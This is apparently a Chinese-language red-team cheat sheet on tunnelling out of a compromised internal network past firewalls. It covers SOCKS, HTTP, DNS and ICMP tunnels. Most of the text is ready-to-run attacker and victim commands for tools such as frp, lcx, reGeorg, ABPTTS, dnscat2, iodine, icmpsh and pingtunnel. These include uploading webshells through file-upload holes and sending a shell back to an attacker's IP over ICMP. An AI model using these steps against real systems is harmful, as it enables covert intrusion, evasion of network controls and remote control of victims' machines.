通常情况下,在打通外网,进入内网时,存在防火墙或者其他设备对机器的入站或出站有了限制的情况,就需要我们来搭建隧道进行更深一步的探索
sock代理
在设备对出站流量没有任何限制的时候,我们通常可以使用各种各样的方法转发。这里以sock代理为例
通常可以用
正向代理:将shell转发到特定端口,外面任何人都可以连接这个端口
反向代理:将shell转发到攻击者监听的端口
搭建代理常用工具
frp有两个配置文件,frpc.ini是放在内网机器中的,frps.ini是放在公网机器上的
官方使用文档:https://gofrp.org/docs/
该项目作者已经停止更新维护
通过连接下载后执行参数h可以看到参数用法
有以下功能
正向代理,反向代理,端口转发
官方介绍:http://rootkiter.com/EarthWorm/
不够稳定不建议使用
支持端口转发和端口映射
端口转发:lcx.exe –slave 公网IP 端口 内网IP 端口
端口映射:lcx.exe -tran 映射端口 连接IP 连接端口
msf
由于本人用此工具比较少,所以自行百度
CobaltStrike
对上线主机右键选中转-sock即可
iox
地址:https://github.com/EddieIvan01/iox.git
使用代理工具:
proxychains
proxifier
burpsuite
浏览器插件如chrome中SwitchyOmega
其他
其他协议代理
当防火墙对端口有所限制的时候,比如只允许部分端口出网,sock代理就会不是很好用。这是我们就需要用一些其他的协议做代理
http
基于http将数据包封装在http数据包中实现出网,需要文件上传漏洞
常用工具
用法:
- 上传服务端文件后本地执行命令:
java -jar reDuhClient.jar 服务端的访问地址
- nc监听本地的1010端口看提示有welcomexxx代表成功
- 在监听窗口输入
[createTunnel]本地端口:目标的内网ip:目标端口
- 然后等待成功提示
用法:上传服务端文件然后在本地执行命令python2 proxy.py -u http://x.x.x.x/conn.aspx -l 本地端口 -a 内网ip -r 被映射端口 –v
这个是reGeorg的免杀以及加强版本,reGeorg又是reduh加强版
用法在readme中说的比较详细可自行观看,这个工具更多需要配合到文件上传漏洞使用
严格说不算是隧道工具,更像是一个php后门工具,但是也有隧道功能
可看这篇文章:https://www.cnblogs.com/lingerhk/p/4009073.html
不支持php(
用法:
- 下载:
git clone https://github.com/nccgroup/ABPTTS.git
- 生成webshell:
python abpttsfactory.py -o webshell
- 上传webshell
- 本地执行
python abpttsclient.py -c webshell\config.txt -u "http://
x.x.x.x/abptts.aspx" -f 127.0.0.1:本地端口/服务器内网ip:对应端口
dns
基于udp,将数据封装到dns的数据包中绕过防火墙
常用工具
注:以下xxx.xxx.com要ns解析到自己的vps对应的域名,上述的本地指的是vps
使用:
需要ruby环境、安装gem、ruby、dnscat2服务端
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
本地安装客户端
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
服务端执行
./dnscat --dns domain=xxx.xxx.com --secret=password
本地执行
ruby dnscat2.rb xxx.xxx.com -e open -c password --no-cache
dns2tcp
用法:
- 安装
apt-get install dns2tcp
- 先编辑好文件
/etc/dns2tcpd.conf
- 攻击者执行
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
- 被攻击者执行
dns2tcpc -r c2 -z xxx.xxx.com target_ip -l 5353 -d 2
iodine
用法:
- 安装
sudo apt-get install iodine
- 客户端执行
sudo iodined -c -P 123pass ClientIP(客户端IP) domain.com -DDD
- 服务端执行
sudo iodine -f -P 123pass serverIP(服务器IP) domain.com -r
ICMP隧道
当http和dns都不可行时,可以尝试icmp隧道
工具安装
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地的ICMP应答
被攻击者执行 icmpsh.exe -t 攻击者IP
攻击者执行python icmpsh_m.py 攻击者IP 被攻击者IP
安装
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地的ICMP应答
攻击者
一个终端执行 ./icmptunnel –s
另一个终端执行 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
被攻击者
一个终端执行sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmptunnel 攻击者IP
另一个终端执行 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
ptunnel
安装
wget https://github.com/esrrhs/pingtunnel/releases
sudo unzip pingtunnel_linux64.zip
攻击者
sysctl -w net.ipv4.icmp_echo_ignore_all=1
sudo ./pingtunnel -type server
被攻击者
/ client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1